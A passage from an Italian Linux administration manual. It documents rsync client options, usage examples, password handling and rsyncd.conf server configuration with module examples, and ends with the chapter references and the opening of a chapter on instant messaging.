`-t` `--times`	Fa in modo che venga riprodotta fedelmente la data di modifica dei file.
`--partial`	Durante il trasferimento dei file, nella destinazione Rsync scarica i dati in un file «nascosto» (in quanto inizia con un punto). Quando un trasferimento viene interrotto, l'ultimo file il cui trasferimento non è stato completato, viene cancellato. Con questa opzione, si fa in modo di non perdere i trasferimenti parziali, recuperandoli la volta successiva.
`--progress`	Fa in modo di mostrare l'avanzamento del trasferimento dei singoli file, in modo da poter conoscere la situazione anche in presenza di file di grandi dimensioni.
`-P`	È l'equivalente della somma di '**`--partial`**' e di '**`--progress`**'.
`-n` `--dry-run`	Si limita a simulare l'operazione, senza eseguire alcuna copia. È utile per verificare l'effetto di un comando prima di eseguirlo veramente.
`-x` `--one-file-system`	Permette di non superare il file system di partenza, nell'origine.
`--delete`	Fa sì che vengano cancellati i file nella destinazione che non si trovano nell'origine. Come si può intuire, si tratta di un'opzione molto delicata, in quanto un piccolo errore nell'indicazione dei percorsi si può tradurre nella perdita involontaria di dati. È questa la situazione più indicata per utilizzare l'opzione '**`-n`**' in modo da verificare in anticipo l'effetto del comando. In alcune circostanze può essere utile anche l'opzione '**`--force`**'. Se Rsync incontra dei problemi di lettura, la funzione di cancellazione viene inibita, salvo mantenerla attiva con l'opzione '**`--ignore-errors`**'.

Opzione	Descrizione
`--delete-after`	Con questa opzione, assieme a '**`--delete`**', si fa in modo che la cancellazione dei file che non sono più nell'origine, avvenga alla fine delle altre operazioni; diversamente, ciò avviene all'inizio.
`--force`	Con questa opzione si consente la cancellazione di directory che non sono vuote quando devono essere rimpiazzate da file normali o comunque da file che non sono directory. Perché questa opzione venga presa in considerazione è necessario usare anche '**`-r`**' ('**`--recursive`**').
`--ignore-errors`	Con questa opzione, assieme a '**`--delete`**', si conferma la richiesta di cancellazione anche in presenza di errori di lettura e scrittura dei dati.
`--exclude=`***modello***	Permette di indicare un nome di file (o directory), o un modello contenente metacaratteri, riferito a nomi da escludere dalla copia. Il nome o il modello indicato, non deve contenere riferimenti a percorsi; inoltre è bene che sia protetto in modo che non venga espanso dalla shell usata per avviare il comando. È il caso di sottolineare che, se viene escluso il nome di una directory si impedisce un eventuale attraversamento ricorsivo del suo contenuto.
`--exclude-from=`***file***	Si comporta come l'opzione '**`--exclude`**', con la differenza che il suo argomento è il nome di un file locale contenente un elenco di esclusioni.
`--password-file=`***file***	Quando è richiesta una forma di autenticazione fornendo una parola d'ordine, si può usare questa opzione per indicare il nome di un file di testo che la contenga. In alternativa, si può inserire questa informazione nella variabile di ambiente ***RSYNC_PASSWORD***.
`--password-file=`***file***	Quando è richiesta una forma di autenticazione fornendo una parola d'ordine, si può usare questa opzione per indicare il nome di un file di testo che la contenga; il file non deve consentire l'accesso a utenti diversi dal proprietario. In alternativa, si può inserire questa informazione nella variabile di ambiente ***RSYNC_PASSWORD***.
`-e=`***comando*** `--rsh=`***comando***	Permette di specificare il comando (il programma) da utilizzare come shell per l'accesso remoto. Normalmente viene usata '**`rsh`**', ma in alternativa si potrebbe utilizzare '**`ssh`**', o altro se disponibile. L'uso di una shell alternativa per l'accesso remoto, può essere configurato utilizzando la variabile di ambiente ***RSYNC_RSH***.
`--rsync-path=`***percorso***	Permette di specificare il percorso assoluto necessario ad avviare '**`rsync`**' nell'elaboratore remoto. Ciò è utile quando il programma non è nel percorso degli eseguibili nell'utenza remota.

Opzione	Descrizione
`-C` `--cvs-exclude`	Questa opzione permette di escludere una serie di file, usati tipicamente da CVS, RCS e anche in altre situazioni, che generalmente non conviene trasferire. Si tratta dei nomi e dei modelli seguenti: '`RCS`', '`SCCS`', '`CVS`', '`CVS.adm`', '`RCSLOG`', '`cvslog.*`', '`tags`', '`TAGS`', '`.make.state`', '`.nse_depinfo`', '`*~`', '`.#*`', '`,*`', '`*.old`', '`*.bak`', '`*.BAK`', '`*.orig`', '`*.rej`', '`.del-*`', '`*.a`', '`*.o`', '`*.obj`', '`*.so`', '`*.Z`', '`*.elc`', '`*.ln`', '`core`'. Inoltre, vengono esclusi anche i file elencati all'interno di '`~/.cvsignore`', della variabile di ambiente ***CVSIGNORE*** e all'interno di ogni file '`.cvsignore`', ma in questo ultimo caso, solo in riferimento al contenuto della directory in cui si trovano.

Segue la descrizione di alcuni esempi.

- `$` **`rsync -r /tmp/prove roggen.brot.dg:/tmp/prove`** [*Invio*]

  Copia la directory '`/tmp/prove/`' del nodo locale, assieme a tutto il suo contenuto, nel nodo *`roggen.brot.dg`*, generando lì, la directory '`/tmp/prove/prove/`' contenente tutto ciò che discende dall'origine.

  Si osservi che questa copia non riproduce le informazioni data-orario dei file e delle directory (servirebbe l'opzione '**`-t`**'), pertanto, se dovesse essere ripetuto il comando, si otterrebbe nuovamente il trasferimento di tutti i file.

- `#` **`rsync -a /tmp/prove roggen.brot.dg:/tmp/prove`** [*Invio*]

  Copia la directory '`/tmp/prove/`' del nodo locale, assieme a tutto il suo contenuto, nel nodo *`roggen.brot.dg`*, generando lì, la directory '`/tmp/prove/prove/`' contenente tutto ciò che discende dall'origine. La copia viene fatta riproducendo il più possibile le caratteristiche originali, comprese informazioni data-orario dei file e delle directory, così che un utilizzo successivo dello stesso comando trasferirebbe solo quanto necessario ad aggiornare la copia.

- `#` **`rsync -a /tmp/prove/ roggen.brot.dg:/tmp/prove`** [*Invio*]

  Copia il contenuto della directory '`/tmp/prove/`' del nodo locale nel nodo *`roggen.brot.dg`*, nella directory '`/tmp/prove/`'. La copia viene fatta riproducendo il più possibile le caratteristiche originali e la ripetizione del comando in momenti successivi trasferisce solo il necessario.

- `$` **`rsync -R prove/mie/*.txt roggen.brot.dg:/home/tizio`** [*Invio*]

  Copia i file che terminano per '`.txt`' della directory '`prove/mie/`', discendente da quella attuale, nella directory '`/home/tizio/prove/mie/`' del nodo *`dinkel.brot.dg`*.

  Si osservi che questa copia non riproduce le informazioni data-orario dei file e delle directory (servirebbe l'opzione '**`-t`**'), pertanto, se dovesse essere ripetuto il comando, si otterrebbe nuovamente il trasferimento di tutti i file.

- # **rsync -a -z -v /tmp/prove/ roggen.brot.dg:/tmp/prove** [*Invio*]

  Copia il contenuto della directory '`/tmp/prove/`' del nodo locale nella stessa directory nel nodo *roggen.brot.dg*. La copia viene fatta riproducendo il più possibile le caratteristiche originali, trasferendo dati compressi e visualizzando le operazioni compiute.

- # **rsync -azv -e ssh /tmp/prove/ roggen.brot.dg:/tmp/prove** [*Invio*]

  Come nell'esempio precedente, ma utilizza '**ssh**' come shell per l'accesso remoto.

- # **rsync -rlptD -zv /tmp/prove/ tizio@roggen.brot.dg:/tmp/prove** [*Invio*]

  Come nell'esempio precedente, ma utilizza la shell predefinita per l'accesso remoto e accede come utente '**tizio**'. Per questo, non tenta di riprodurre la proprietà dei file (utente e gruppo proprietario).

- # **rsync -rlptD -zv --progress** ↩
  ↪ **/tmp/prove/ tizio@roggen.brot.dg:/tmp/prove** [*Invio*]

  Come nell'esempio precedente, aggiungendo informazioni sul trasferimento dei singoli file.

- # **rsync -rlptD -zv --progress** ↩
  ↪ **/tmp/prove/ tizio@roggen.brot.dg::prove** [*Invio*]

  Questo esempio è simile a quello precedente, con la differenza che nella destinazione si fa riferimento al modulo '**prove**'. I moduli di Rsync vengono descritti nelle sezioni successive, in occasione della presentazione delle funzionalità di servente di Rsync.

- # **rsync -rlptD -zv --progress** ↩
  ↪ **/tmp/prove/** ↩
  ↪ **rsync://tizio@roggen.brot.dg/prove** [*Invio*]

  Esattamente come nell'esempio precedente, usando una notazione diversa per la destinazione.

- # **rsync -rlptD -zv --progress** ↩
  ↪ **/tmp/prove/varie/** ↩
  ↪ **rsync://tizio@roggen.brot.dg/prove/varie** [*Invio*]

  Come nell'esempio precedente, con la differenza che si intende allineare solo una sottodirectory, precisamente '`/tmp/prove/varie/`', con la sottodirectory corrispondente nel modulo '**prove**'.

- $ **rsync --recursive** ↩
  ↪ **--compress** ↩
  ↪ **--links** ↩
  ↪ **--perms** ↩
  ↪ **--times** ↩
  ↪ **--partial** ↩
  ↪ **--checksum** ↩
  ↪ **--verbose** ↩
  ↪ **--progress** ↩
  ↪ **rsync://roggen.brot.dg/prove/varie/** ↩
  ↪ **/home/prove/varie** [*Invio*]

In questo caso si vuole aggiornare il contenuto della directory locale '`/home/prove/varie/`' con il contenuto della directory '`varie/`' del modulo '**`prove`**' presso l'elaboratore *`roggen.brot.dg`* che offre un accesso Rsync anonimo.

Come si può osservare dalle opzioni, si fa in modo di avere informazioni abbastanza dettagliate sullo svolgimento dell'operazione, per la presenza di '**`--verbose`**' e di '**`--progress`**'; inoltre, viene richiesto espressamente di verificare sempre i file da trasferire con un codice di controllo (opzione '**`--checksum`**') e di conservare i trasferimenti parziali (in modo da ridurre il lavoro di un aggiornamento successivo, in caso di interruzione della comunicazione).

Si osservi che la presenza dell'opzione '**`--checksum`**' richiede un impiego maggiore di risorse da parte di entrambi gli elaboratori coinvolti nel trasferimento, cosa che si traduce in tempi di attesa più lunghi.

- `$` **`rsync rsync://roggen.brot.dg`** [*Invio*]

  Con questo comando ci si limita a interrogare il servente Rsync remoto sulla sua disponibilità di moduli. Si osservi però che alcuni o anche tutti i moduli possono risultare nascosti, cioè non visibili in questo elenco, in base alla configurazione del servente stesso.

42.12.5 Accesso attraverso autenticazione

Quando è richiesta l'autenticazione attraverso una parola d'ordine l'uso della variabile di ambiente ***RSYNC_PASSWORD*** può essere molto utile per automatizzare le operazioni di sincronizzazione dati attraverso Rsync.

Quello che si vede sotto, potrebbe essere uno script personale di un utente che deve aggiornare frequentemente il modulo '**`prove`**' nel nodo *`roggen.brot.dg`* (identificandosi come '**`tizio`**'). Quando il servente remoto richiede la parola d'ordine, il cliente locale '**`rsync`**' la legge direttamente dalla variabile ***RSYNC_PASSWORD***:

```
#!/bin/sh
RSYNC_PASSWORD=1234ciao
export RSYNC_PASSWORD
rsync -rlptD -zv /tmp/prove/ rsync://tizio@roggen.brot.dg/prove
```

In alternativa alla variabile di ambiente ***RSYNC_PASSWORD***, si può usare un file esterno, con permessi di accesso limitati, specificando l'opzione '**`--password-file`**', come nell'esempio seguente:

```
#!/bin/sh
touch ~/.rsync-password
chmod go-rwx ~/.rsync-password
echo "1234ciao" > ~/.rsync-password
rsync -rlptD -zv --password-file=~/.rsync-password \
    /tmp/prove/ rsync://tizio@roggen.brot.dg/prove
rm -f ~/.rsync-password
```

Naturalmente, se Rsync non ottiene la parola d'ordine in uno di questi modi, la chiede in modo interattivo all'utente.

42.12.6 Servente Rsync

Se si vuole utilizzare Rsync per trasferire dati tra elaboratori differenti, senza usare una shell remota, occorre attivare nell'elaboratore remoto un servente Rsync. Si tratta in pratica dello stesso programma '**rsync**', ma avviato con l'opzione '**--daemon**'.

Il servente Rsync può essere avviato in modo indipendente, in ascolto da solo sulla porta TCP 873, oppure sotto il controllo del supervisore dei servizi di rete. In questa modalità di funzionamento è necessario predisporre un file di configurazione: '/etc/rsyncd.conf'.

Nel caso si voglia avviare il servente Rsync in modo autonomo dal supervisore dei servizi di rete, basta un comando come quello seguente:

rsync --daemon [*Invio*]

Se si vuole inserire Rsync nel controllo del supervisore dei servizi di rete (cosa di sicuro consigliabile), occorre intervenire nel file '/etc/services' per definire il nome del servizio:

```
rsync           873/tcp
```

Inoltre occorre agire nel file '/etc/inetd.conf' (nel caso specifico di Inetd) per annunciarlo al supervisore dei servizi di rete:

```
rsync   stream  tcp     nowait  root    /usr/bin/rsync  rsyncd --daemon
```

Rsync utilizzato come servente si avvale del file di configurazione '/etc/rsyncd.conf' per definire una o più directory che si vogliono rendere accessibili attraverso il protocollo di Rsync, come una sorta di servizio FTP. Come nel caso dell'FTP, è possibile offrire l'accesso a chiunque, in modo anonimo, oppure si può distinguere tra utenti definiti all'interno della gestione di Rsync. Questi utenti sono potenzialmente estranei all'amministrazione del sistema operativo in cui Rsync si trova a funzionare, per cui occorre aggiungere un file di utenti e parole d'ordine specifico.

Rsync definisce ***moduli*** le aree che mette a disposizione (in lettura o anche in scrittura a seconda della configurazione). Quando si vuole accedere a un modulo di Rsync si utilizza una delle due notazioni seguenti:

[***utente_rsync***@] ***nodo*** :: ***modulo*** [/***percorso_successivo***]

rsync:// [***utente_rsync***@] ***nodo*** / ***modulo*** [/***percorso_successivo***]

Quando si accede a un modulo, il servente Rsync può eseguire un ***chroot()*** nella directory a cui questo fa riferimento, più o meno come accade con l'FTP anonimo. Per fare un esempio concreto, se il modulo '**prova**' fa riferimento alla directory '/home/dati/ciao/' nel nodo *dinkel.brot.dg*, l'indirizzo 'dinkel.brot.dg::prova/uno/mio', oppure 'rsync://dinkel.brot.dg/prova/uno/mio', fa riferimento al percorso '/home/dati/ciao/uno/mio' in quell'elaboratore.

Ogni riga del file di configurazione descrive un tipo di informazione. Le righe vuote, quelle bianche e ciò che è preceduto dal simbolo '**#**' viene ignorato. È ammessa la continuazione nella riga successiva utilizzando la barra obliqua inversa ('****') alla fine della riga.

I moduli vengono identificati da un nome racchiuso tra parentesi quadre e la loro indicazione occupa tutta una riga; le informazioni riferite a un modulo sono costituite da tutte le direttive che appaiono nelle righe seguenti, fino all'indicazione di un altro modulo. Le direttive che descrivono i moduli sono delle opzioni che definiscono dei parametri e sono in pratica degli assegnamenti di valori a questi parametri. Alcuni tipi di parametri possono essere collocati prima di qualunque dichiarazione di modulo e si tratta in questo caso di opzioni globali che riguardano tutti i moduli (alcuni parametri possono apparire solo all'inizio e non all'interno della dichiarazione dei moduli).

Le opzioni globali sono quelle direttive (o parametri) che si collocano prima della dichiarazione dei moduli. Alcuni parametri possono essere collocati solo in questa posizione, mentre gli altri, le opzioni dei moduli, pur essendo stati preparati per la descrizione dei singoli moduli, possono essere usati all'inizio per definire un'impostazione generale. L'elenco seguente mostra solo l'uso di alcuni parametri delle opzioni globali.

Tabella 42.160. Alcune direttive globali.

Direttiva	Descrizione
`motd file =` ***file***	Se presente, indica un file all'interno del quale viene prelevato il testo da mostrare agli utenti quando si connettono (il «messaggio del giorno»).
`max connections =` ***n_massimo_connessioni_simultanee***	Come avviene nel protocollo FTP, anche con Rsync può essere importante porre un limite alle connessioni simultanee. Se non viene specificata questa opzione, oppure se si usa il valore zero, non si intende porre alcuna restrizione.
`log file =` ***file***	In generale, i messaggi generati da Rsync durante il funzionamento come demone, sono diretti al registro di sistema, ma con l'uso di questa direttiva si può generare un file autonomo.
`pid file =` ***file***	Questa direttiva fa sì che Rsync scriva il numero del proprio processo elaborativo (PID) nel file indicato.

Tabella 42.161. Alcune direttive dei moduli.

Opzione	Descrizione
`comment =` ***stringa_di_descrizione_del_modulo***	Questa opzione permette di fornire una descrizione che può essere letta dagli utenti che accedono. Il suo scopo è chiarire il contenuto o il senso di un modulo il cui nome potrebbe non essere sufficiente per questo. Non è necessario racchiudere tra apici doppi il testo della stringa.

Opzione	Descrizione
`list` = ***yes*** | ***no*** `list` = ***true*** | ***false***	Con questa direttiva si controlla la possibilità di mostrare l'esistenza del modulo quando viene interrogato l'elenco di quelli esistenti. In condizioni normali, questa funzionalità è attiva e si può impedire la lettura assegnando il valore '**`no`**' o '**`false`**'.
`path` = ***percorso_della_directory***	Questo parametro è obbligatorio per ogni modulo. La direttiva serve a definire la directory, nel file system dell'elaboratore presso cui è in funzione il servente Rsync, a cui il modulo fa riferimento. Normalmente, attraverso la direttiva '**`use chroot`**' si fa in modo che, quando si accede al modulo, Rsync esegua la funzione ***chroot()*** in modo che la directory corrispondente appaia come la radice del modulo stesso.
`use chroot` = ***yes*** | ***no*** `use chroot` = ***true*** | ***false***	Questo parametro è molto importante e consente, se si attribuisce un valore affermativo, di accedere alla directory del modulo attraverso la funzione ***chroot()***. Tuttavia, questa funzionalità può essere attivata solo se Rsync viene avviato con i privilegi dell'utente '**`root`**'.
`read only = true|false` `read only = yes|no`	Questa opzione permette di definire se il modulo debba essere accessibile solo in lettura oppure anche in scrittura. Se l'opzione non viene specificata, si intende che l'accesso debba essere consentito in sola lettura. Assegnando il valore booleano '**`false`**' (oppure '**`no`**') si ottiene di consentire anche la scrittura.
`uid` = ***nome_utente*** | ***id_utente*** `gid` = ***nome_gruppo*** | ***id_gruppo***	Queste due opzioni permettono di definire l'utente e il gruppo per conto dei quali devono essere svolte le operazioni all'interno del modulo. In pratica, Rsync utilizza quella identità per leggere o scrivere all'interno del modulo; questo può essere un mezzo attraverso il quale controllare gli accessi all'interno della directory corrispondente.
`auth users` = ***utente_rsync*** [`,` ***utente_rsync***]...	Questa opzione permette di indicare un elenco di nomi di utenti di Rsync a cui è consentito di accedere al modulo. Senza questa opzione, si concede l'accesso a chiunque, mentre in tal modo si impone il riconoscimento in base a un file di utenti definito attraverso il parametro '**`secrets file`**'.

Opzione	Descrizione
`secrets file =` ***file_di_utenti_e_parole_d'ordine***	Questa opzione è obbligatoria se viene usato il parametro '**`auth users`**'. Serve a indicare il file all'interno del quale Rsync può trovare l'elenco degli utenti e delle parole d'ordine (in chiaro).
`strict modes = true|false` `strict modes = yes|no`	Questa opzione permette di stabilire se il file indicato con la direttiva '**`secrets file`**' debba essere accessibile esclusivamente all'utente associato al processo elaborativo di Rsync (di solito corrisponde a '**`root`**'), oppure se può mancare questa accortezza. In generale, questa opzione è attiva, a indicare che il file deve essere protetto.
`ignore nonreadable = true|false` `strict modes = yes|no`	Questa opzione permette di accettare la presenza di file che non risultano leggibili al servente Rsync. In pratica, con questa opzione attiva, si fa in modo che i file non leggibili siano trattati come se non esistessero del tutto.
`transfer logging = true|false` `strict modes = yes|no`	Questa opzione, che normalmente non risulta attiva, se viene abilitata consente di far annotare nel registro i file trasferiti.
`timeout =` ***n_secondi***	Questa opzione consente di specificare una scadenza alle connessioni, indicando un numero che esprime una quantità di secondi. Normalmente non c'è alcuna scadenza, ma in questo modo un errore da parte di un programma cliente potrebbe lasciare aperta una connessione inesistente all'infinito. In generale, se non ci sono altri problemi, conviene lasciare un tempo ragionevolmente grande, di una o più ore.
`max connections =` ***n***	Questa opzione consente di limitare la quantità massima di connessioni simultanee complessive. In mancanza di questa direttiva, nessun limite viene posto.
`lock file =` ***file***	Questa opzione consente di stabilire espressamente il file da usare per il controllo del numero massimo di connessioni. In mancanza di questa indicazione, si tratta di '`/var/run/rsyncd.lock`'.

Segue la descrizione di alcuni esempi.

- ```
  uid = nobody
  gid = nobody
  [xxx]
          path = /home/xxx
          comment = Esportazione della directory /home/xxx
  ```

  Questo esempio, simile ad altri descritti nella pagina di manuale *rsyncd.conf(5)*, rappresenta una configurazione minima allo scopo di definire il modulo '**`xxx`**' che consenta l'accesso in sola lettura alla directory '`/home/xxx/`' per qualunque utente. Si osservi in particolare l'uso dei parametri '**`uid`**' e '**`gid`**', all'inizio del file, in modo che Rsync utilizzi i privilegi dell'utente e del gruppo '**`nobody`**' per la lettura dei file.

- ```
  [xxx]
          path = /home/xxx
          comment = Esportazione della directory /home/xxx
          uid = nobody
          gid = nobody
  ```

  Si tratta di una variante dell'esempio precedente, in cui i parametri '**`uid`**' e '**`gid`**' sono stati collocati all'interno del modulo. In questo caso, dal momento che non ci sono altri moduli, l'effetto è lo stesso.

- ```
  [pippo]
          comment = Applicativo PIPPO
          path = /opt/pippo
          read only = false
          uid = tizio
          gid = tizio
          auth users = caio, sempronio
          secrets file = /etc/rsyncd.secrets
  ```

  L'esempio mostra la descrizione del modulo '**`pippo`**' all'interno di un file di configurazione che potrebbe contenerne anche altri. In pratica, gli utenti che Rsync identifica come '**`caio`**' e '**`sempronio`**', possono scrivere all'interno della directory '`/opt/pippo/`', generando eventualmente anche delle sottodirectory, utilizzando i privilegi dell'utente e del gruppo '**`tizio`**' (secondo quanto definito dal sistema operativo di quell'elaboratore). Il file delle parole d'ordine necessario a identificare gli utenti '**`caio`**' e '**`sempronio`**' è '`/etc/rsyncd.secrets`'.
  ```

- ```
  pid file=/var/run/rsyncd.pid
  use chroot = yes
  read only = yes
  list = yes
  uid = rsync
  gid = rsync
  secrets file = /etc/rsyncd.secrets
  strict modes = yes
  ignore nonreadable = yes
  transfer logging = yes
  timeout = 10800

  [a2dist]
      comment = a2 distribution
      max connections = 7
      path = /home/a2dist/distribution
      auth users = tizio, caio, sempronio
  ```

  Questo è un esempio abbastanza completo. Nella parte iniziale, le direttive globali servono a: specificare il file da usare per annotare il numero del processo elaborativo (PID); richiedere che venga utilizzata la funzione ***chroot()*** all'inizio di ogni modulo; consentire un accesso in sola lettura; consentire la visualizzazione dell'elenco dei moduli disponibili; far funzionare il programma servente con i privilegi dell'utente e del gruppo '**`rsync`**' (ma all'avvio il programma deve avere i privilegi dell'utente '**`root`**' e con questi privilegi va poi a leggere il file contenenti le parole d'ordine); specificare quale sia il file contenente le parole d'ordine, verificando che questo non risulti accessibile ad altri utenti; ignorare i file che non risultano leggibili, come se non ci fossero; annotare il trasferimento di tutti i file nel registro; far scadere le connessioni che durano oltre tre ore.

  Dopo le direttive globali appare un solo modulo, denominato '**`a2dist`**', nel quale si indica: una descrizione del modulo; il limite massimo di connessioni (sette); il percorso del modulo (la directory '`/home/a2dist/distribution/`'); gli utenti autorizzati ad accedere al modulo.

Bisogna osservare che l'opzione '**`max connections`**' definisce la quantità massima di connessioni simultanee, in senso complessivo, anche quando la si utilizza all'interno dei moduli. In questo senso, mancherebbe la possibilità di stabilire una quantità massima di accessi simultanei riferiti al modulo e non a tutto l'insieme. Tuttavia, per tenere traccia del numero di connessioni, si utilizza un file, definibile con l'opzione '**`lock file`**'; pertanto, per distinguere le connessioni massime, modulo per modulo, basta cambiare nome a questo file:

```
pid file=/var/run/rsyncd.pid
use chroot = yes
read only = yes
list = yes
uid = rsync
gid = rsync
secrets file = /etc/rsyncd.secrets
strict modes = yes
ignore nonreadable = yes
transfer logging = yes
```
```

```
timeout = 10800

[a2dist-tizio]
    comment = a2 distribution for tizio
    max connections = 1
    path = /home/a2dist/distribution
    auth users = tizio
    lock file = /var/run/rsyncd.lock.tizio

[a2dist-caio]
    comment = a2 distribution for caio
    max connections = 1
    path = /home/a2dist/distribution
    auth users = caio
    lock file = /var/run/rsyncd.lock.caio

[a2dist-sempronio]
    comment = a2 distribution for sempronio
    max connections = 1
    path = /home/a2dist/distribution
    auth users = sempronio
    lock file = /var/run/rsyncd.lock.sempronio
```

L'esempio mostra la suddivisione in tre moduli per l'accesso agli stessi dati, ma da parte di tre utenti differenti, ognuno dei quali ha la disponibilità di un solo accesso simultaneo.

Nasce la necessità di impedire che un utente possa accedere per più di una volta, simultaneamente, quando la sincronizzazione richiede tempi lunghi. Per esempio, se Tizio configura il proprio sistema Cron per eseguire la sincronizzazione una volta al giorno, ma ci vuole più di un giorno per aggiornare tutto, si rischia di riavviare una seconda sincronizzazione errata.

42.12.6.1 File degli utenti e delle parole d'ordine secondo Rsync

Quando si utilizza Rsync come servente e si richiede una forma di autenticazione agli utenti che accedono, è necessario predisporre un file di testo contenente dei record secondo la sintassi seguente:

nome_utente **:** ***parola_d'ordine_in_chiaro***

Dal momento che normalmente il file viene letto da Rsync con i privilegi dell'utente '**`root`**', è sufficiente che questo file abbia il permesso di lettura per l'amministratore del sistema.

Rsync non stabilisce quale sia la collocazione e il nome di questo file; è il parametro '**`secrets file`**' del file di configurazione a definirlo volta per volta. In generale, nella documentazione originale si fa l'esempio del file '`/etc/rsyncd.secrets`'. L'esempio seguente

mostra il caso degli utenti '**caio**' e '**sempronio**', a cui sono state abbinate rispettivamente le parole d'ordine '**tazza**' e '**ciao**'.

```
caio:tazza
sempronio:ciao
```

È bene ribadire che questo file non ha alcun nesso con il file '/etc/passwd' (né con '/etc/shadow'). Gli utenti di Rsync possono non essere stati registrati (nel modo consueto) nell'elaboratore presso cui accedono.

42.12.7 Tempi morti e scadenze

Rsync è un sistema molto sofisticato per la sincronizzazione dei dati, in grado di consentire anche l'esecuzione del lavoro a più riprese, persino su file singoli (opzione '**--partial**'), con il minimo traffico di rete possibile.

Questa parsimonia nella gestione delle risorse di rete ha però un effetto indesiderato, in quanto si possono creare dei tempi morti, anche lunghi, in cui la connessione TCP rimane aperta senza il passaggio di alcun pacchetto. Tale situazione si può verificare in modo particolare quando si trasmettono file di grandi dimensioni attraverso dei tentativi successivi, perché ogni volta i due elaboratori coinvolti devono ricalcolare i codici di controllo di questi, per stabilire se la porzione presente nella destinazione possa essere utilizzata o meno: durante questo calcolo il traffico della connessione rallenta fino a sospendersi.

Anche se la sospensione della comunicazione non dovrebbe portare conseguenze per la connessione, bisogna ricordare questo fatto quando si utilizza la direttiva '**timeout**' (o l'opzione '**--timeout**'), in modo da lasciare un tempo sufficiente allo svolgimento delle operazioni necessarie. Inoltre, anche senza imporre alcun limite, ci potrebbero essere dei componenti tra i due elaboratori che non sono al corrente dell'esigenza di avere delle pause molto lunghe nelle connessioni. Potrebbe trattarsi di un router-NAT che deve seguire tutte le comunicazioni per le quali si richiede la trasformazione degli indirizzi e delle porte, introducendo anche per questo un problema di «scadenza» delle connessioni, cosa che così si può manifestare con delle interruzioni inspiegabili della sincronizzazione dei dati attraverso Rsync.

Quando l'uso appropriato della direttiva '**timeout**' o dell'opzione '**--timeout**' non porta a risolvere il problema, può essere necessario evitare l'uso dell'opzione '**--partial**'.

42.13 Riferimenti

- Tavis Barr, Nicolai Langfeldt, Seth Vidal, *NFS HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html*⟩

- Thorsten Kukuk, *The Linux NIS(YP)/NYS/NIS+ HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html*⟩

- J. Reynolds, J. Postel, *RFC 1700, Assigned numbers, BOOTP and DHCP parameters*, 1994

  ⟨*http://www.ietf.org/rfc/rfc1700.txt*⟩

- *NTP home*

  ⟨*http://www.ntp.org*⟩

- *pool.ntp.org: public ntp time server for everyone*
  ⟨http://www.pool.ntp.org ⟩
- David L. Mills, *Public NTP Time Servers*
  ⟨http://www.eecis.udel.edu/~mills/ntp/servers.html ⟩
- *NET-SNMP*
  ⟨http://www.net-snmp.org ⟩
- Andrea Manzini, *SNMP: tutta la rete in punta di Management Protocol*, *Linux&C.*, maggio 2006, 52, pag. 15
  ⟨http://www.oltrelinux.com/ ⟩
- Andrea Manzini, *Estensione di SNMPd e uso di MRTG*, *Linux&C.*, giugno 2006, 53, pag. 35
  ⟨http://www.oltrelinux.com/ ⟩
- Tobi Oetiker, *The Multi Router Traffic Grapher*
  ⟨http://oss.oetiker.ch/mrtg/ ⟩

[1] **Inetd** UCB BSD

[2] **TCP wrapper** software libero con licenza speciale

[3] **Portmapper** UCB BSD + SUN RPC

[4] **RPCinfo** UCB BSD + SUN RPC

[5] **Linux NFS** GNU GPL

[6] **YP Server** GNU GPL

[7] **YP Bind-mt** GNU GPL

[8] **YP Tools** GNU GPL

[9] Se non serve, o non funziona, si ottiene al massimo una segnalazione di errore nel momento in cui si utilizza il file-make, senza altri effetti collaterali.

[10] Di solito, il protocollo DHCP si utilizza per IPv4, dal momento che IPv6 risolve già i problemi di assegnazione automatica degli indirizzi.

[11] Il problema dell'instradamento esplicito verso la rete 255.255.255.255 si pone solo per kernel Linux molto vecchi e in generale si deve evitare di intervenire così.

[12] **DHCP ISC** software libero con licenza speciale

[13] **netkit-rwho** UCB BSD

[14] **netkit-rusers** software libero con licenza speciale

[15] **Finger** UCB BSD

[16] Non basta preoccuparsi di non attivare un servizio pericoloso: occorre verificare che non sia già presente in modo predefinito!

[17] **netkit-rsh** UCB BSD

[18] Si deve fare attenzione al fatto che tra il nome del nodo e il nome dell'utente, ci deve essere uno spazio.

[19] Per quanto riguarda le limitazioni all'accesso dell'utente '**`root`**', si tenga presente che potrebbe essere stato impedito l'accesso da un elaboratore remoto a causa della configurazione del file '`/etc/securetty`'.

[20] **Telnet** UCB BSD

[21] Un cliente TELNET è in grado di utilizzare soltanto il protocollo TCP. I servizi che si basano sul TCP utilizzano un proprio protocollo di livello superiore ed è questo ciò a cui si fa riferimento.

[22] **netkit-tftp** UCB BSD

[23] **NTP** software libero con licenza speciale

[24] **NET SNMP** BSD

[25] **NET SNMP** BSD

[26] **NET SNMP** BSD

[27] **MRTG** GNU GPL

[28] **Rsync** GNU GPL

Capitolo 43
Messaggistica istantanea (instant messaging)

43.1 Messaggi sul terminale Unix 2423
43.1.1 Accesso al proprio terminale 2423
43.1.2 Comunicazione diretta attraverso la rete 2425
43.1.3 Invio di un messaggio circolare 2428
43.2 IRC 2428
43.2.1 Canali, utenti e operatori 2429
43.2.2 Divisione e ricongiunzione di reti IRC 2430
43.2.3 Comportamenti spiacevoli 2430
43.2.4 Dal lato del servente 2431
43.2.5 Dal lato del cliente 2434
43.2.6 Utilizzo di massima di un cliente IRC 2438
43.3 ICQ: «I-seek-you» 2440
43.3.1 Licq 2440
43.3.2 Pidgin 2442
43.4 Abbreviazioni di Internet 2445
43.5 Riferimenti 2445

`in.talkd` 2425 `irc` 2434 `ircd` 2434 `ircd.conf` 2431 2432 `ircd.motd` 2432 `licq` 2440 `mesg` 2423 `pidgin` 2442 `rpc.rwalld` 2428 `rwall` 2428 `rwalld` 2428 `talk` 2425 `talkd` 2425 `tkirc` 2434 `wall` 2423 `write` 2423 `ytalk` 2425

La messaggistica istantanea è diventato un concetto importante, tanto da assumere un acronimo diffuso: «IM», ovvero *Instant messaging*. Nei primi anni 2000 è proliferata l'offerta di servizi di messaggeria istantanea, soprattutto per assicurare l'accesso di un pubblico importante ai «portali» di comunicazione. Attualmente questi servizi si attuano generalmente attraverso applicazioni gestibili con un comune navigatore ipertestuale e l'uso di protocolli e programmi specifici è sempre meno diffuso.

In questo capitolo si considerano i tipi tradizionali di messaggeria istantanea e ICQ (*I seek you*), ma ciò soltanto a titolo esemplificativo del problema, perché tutti sono destinati a un progressivo abbandono.

43.1 Messaggi sul terminale Unix

